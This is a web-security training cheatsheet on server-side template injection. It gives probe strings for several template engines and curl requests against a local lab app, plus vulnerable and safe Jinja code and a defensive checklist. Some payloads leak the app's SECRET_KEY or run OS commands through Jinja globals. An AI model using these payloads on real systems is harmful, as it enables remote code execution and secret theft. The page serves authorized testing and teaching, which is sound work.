Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 08. SSTI

Cheatsheet

Use this as a quick reference while testing SSTI in labs and authorized assessments.


Quick Probes

Generic markers:

ootw-ssti-test
{{ 7 * 7 }}
${7*7}
<%= 7 * 7 %>
#{7*7}

Jinja:

{{ 7 * 7 }}
{{ "ootw".upper() }}
{{ config }}
{{ request }}

Twig:

{{ 7 * 7 }}
{{ _self }}

ERB:

<%= 7 * 7 %>

Lab curl Checks

Expected matrix:

/ssti/basic      {{ 7 * 7 }} -> Hello 49,
/ssti/blacklist  {{ 7 * 7 }} -> Hello 49,
/ssti/better     {{ 7 * 7 }} -> Hello 49,
/ssti/better     {{ profile.api_key }} -> Hello ootw-ssti-demo-key,
/ssti/fixed      {{ 7 * 7 }} -> Hello {{ 7 * 7 }}

Only /ssti/fixed should print {{ 7 * 7 }} literally.

Expression evaluation:

curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
  --data-urlencode "name={{ 7 * 7 }}"

Configuration disclosure:

curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
  --data-urlencode 'name={{ config["SECRET_KEY"] }}'

Local lab command proof:

curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
  --data-urlencode "name={{ cycler.__init__.__globals__.os.popen('id').read() }}"

Weak blacklist bypass:

curl -i -X POST "http://127.0.0.1:5000/ssti/blacklist" \
  --data-urlencode "name={{ 7 * 7 }}"

Sandbox context leak:

curl -i -X POST "http://127.0.0.1:5000/ssti/better" \
  --data-urlencode "name={{ profile.api_key }}"

Fixed route:

curl -i -X POST "http://127.0.0.1:5000/ssti/fixed" \
  --data-urlencode "name={{ 7 * 7 }}" \
  --data-urlencode "template_id=receipt"

The fixed route should display {{ 7 * 7 }} as data, not evaluate it.


Data vs Template Source

Safe data pattern:

render_template_string("Hello {{ name }}", name=user_input)

With user_input={{ 7 * 7 }}, the output contains:

Hello {{ 7 * 7 }}

Vulnerable source pattern:

template = "Hello " + user_input
render_template_string(template)

With user_input={{ 7 * 7 }}, the output contains:

Hello 49

Jinja Context Checks

Common objects:

{{ config }}
{{ request }}
{{ session }}
{{ g }}
{{ self }}

Simple filters and methods:

{{ "ootw"|upper }}
{{ "ootw".upper() }}
{{ [1,2,3]|length }}

Local lab command proof:

{{ cycler.__init__.__globals__.os.popen('id').read() }}

Use command proofs only in controlled labs.


Error Clues

TemplateSyntaxError
UndefinedError
SecurityError
Jinja2
Twig
Freemarker
Velocity
ERB
Liquid

Defensive Review

Confirm:

  • User input is not rendered as a template.
  • Templates are server-owned.
  • User input is passed as data.
  • Template IDs use strict allowlists.
  • Sensitive objects are not exposed to user-editable templates.
  • Sandbox mode is not the only boundary.
  • Template syntax errors are logged.
  • Suspicious markers such as {{, {%, ${, and <% are monitored.